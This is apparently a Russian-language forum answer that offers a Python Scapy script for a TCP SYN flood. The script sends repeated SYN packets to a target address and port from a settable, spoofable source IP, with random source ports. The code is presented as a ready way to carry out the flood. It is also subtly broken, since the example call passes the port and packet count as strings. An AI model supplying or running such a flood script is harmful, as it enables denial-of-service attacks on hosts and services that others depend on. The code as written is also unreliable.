Из того, что я могу понять, вы получите флуд TCP SYN, и, вероятно, лучше всего это сделать с помощью Scapy Library . Это может быть достигнуто с помощью кода, аналогичного приведенному ниже:
from scapy.all import *
def flood(src_ip, dst_ip, dst_port, amount):
ip = IP(src=src_ip, dst=dst_ip)
for i in range(0, amount):
src_port = random.randint(20, 65000)
transport = TCP(sport=src_port, dport=dst_port, flags="S")
send(ip/transport)
if __name__ == '__main__':
flood('x.x.x.x', 'x.x.x.x', '443', '1000')
Как упоминалось выше, важно отметить, что вы НЕ МОЖЕТЕ отправлять данные в пакете SYN.